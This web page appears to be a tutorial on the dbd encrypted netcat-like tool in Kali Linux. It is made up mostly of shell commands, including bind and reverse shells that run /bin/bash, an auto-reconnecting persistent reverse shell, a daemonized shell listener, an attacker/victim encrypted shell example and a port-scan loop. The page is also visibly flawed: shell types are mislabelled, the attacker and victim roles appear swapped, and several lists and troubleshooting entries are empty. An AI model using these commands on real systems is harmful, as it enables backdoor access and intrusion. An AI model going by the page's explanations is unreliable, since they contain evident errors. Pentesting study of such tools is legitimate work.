dbd Tool in Kali Linux: Complete Guide

dbd Tool in Kali Linux: Complete Guide

What is dbd?

dbd is a Netcat-like networking utility with built-in AES-CBC-128 + HMAC-SHA1 encryption for secure communication. It supports:

Developed by Michel Blomgren, it’s useful for pentesting, secure file transfers, and backdoor shells.


Installation of dbd in Kali Linux

Method 1: Install from Repo (if available)

Bash
sudo apt update && sudo apt install dbd

Method 2: Manual Compilation (if not in repos)

  1. Download source:
Bash
wget http://www.cr0.net:8040/code/network/dbd.tgz
tar -xvf dbd.tgz
cd dbd
  1. Compile & install:
Bash
make
sudo cp dbd /usr/local/bin/

Basic Usage Examples

Connect to a Remote Host (like nc)

Bash
dbd 192.168.1.100 4444

Listen for Incoming Connections (Bind Shell)

Bash
dbd -l -p 4444

Execute a Shell on Connection (Reverse Shell)

Bash
dbd -l -p 4444 -e /bin/bash

Encrypted Communication

Bash
dbd -l -p 4444 -c on -k "mysecretkey"  # Server
dbd 192.168.1.100 4444 -c on -k "mysecretkey"  # Client

Advanced Usage

Port Forwarding (Relay)

Bash
dbd -l -p 4444 | dbd 192.168.1.200 80

Persistent Reverse Shell (Auto-Reconnect)

Bash
dbd 192.168.1.100 4444 -r 5 -e /bin/bash

Daemon Mode (Run in Background)

Bash
dbd -l -p 4444 -e /bin/bash -D on

Chat Mode (Encrypted Chat)

Bash
dbd -l -p 4444 -H on -P "[Server]: "  # Server
dbd 192.168.1.100 4444 -H on -P "[Client]: "  # Client

Command-Line Options (Full Breakdown)

OptionDescription
-lListen mode (bind shell)
-p nPort to listen/connect
-a addrBind to a specific IP
-e progExecute program on connect (e.g., /bin/bash)
-r nAuto-reconnect every n seconds (-r0 = relisten)
-c on/offEnable/disable encryption (AES-CBC-128 + HMAC-SHA1)
-k secretEncryption key (must match on both sides)
-qQuiet mode (no output)
-vVerbose mode
-nDisable DNS resolution
-mEnable monitoring (snoop on executed program)
-P prefixAdd prefix to outgoing data (for chat)
-H on/offHighlight incoming data (colorized)
-VShow version
-sSpawn a shell (useful for privilege escalation)
-w nTimeout after n seconds of inactivity
-D on/offRun as a daemon (background process)

Real-World Use Cases

  1. Secure File Transfer
Bash
dbd -l -p 4444 > received_file  # Receiver  
dbd 192.168.1.100 4444 < send_file  # Sender  
  1. Encrypted Reverse Shell
Bash
dbd -l -p 4444 -e /bin/bash -c on -k "s3cr3t"  # Attacker  
dbd 192.168.1.100 4444 -c on -k "s3cr3t"  # Victim  
  1. Port Scanning (Like nc -z)
Bash
for port in {1..1000}; do dbd -n 192.168.1.100 $port -w 1 && echo "$port open"; done  
  1. Chat Server (Encrypted)
Bash
dbd -l -p 4444 -H on -P "Alice: "  # Server  
dbd 192.168.1.100 4444 -H on -P "Bob: "  # Client  

Troubleshooting

Issue: Connection Fails

Issue: Encryption Not Working

Issue: Program Doesn’t Execute (-e)

Issue: Port Already in Use

Bash
sudo netstat -tulnp | grep 4444
sudo kill -9 <PID>

Exit mobile version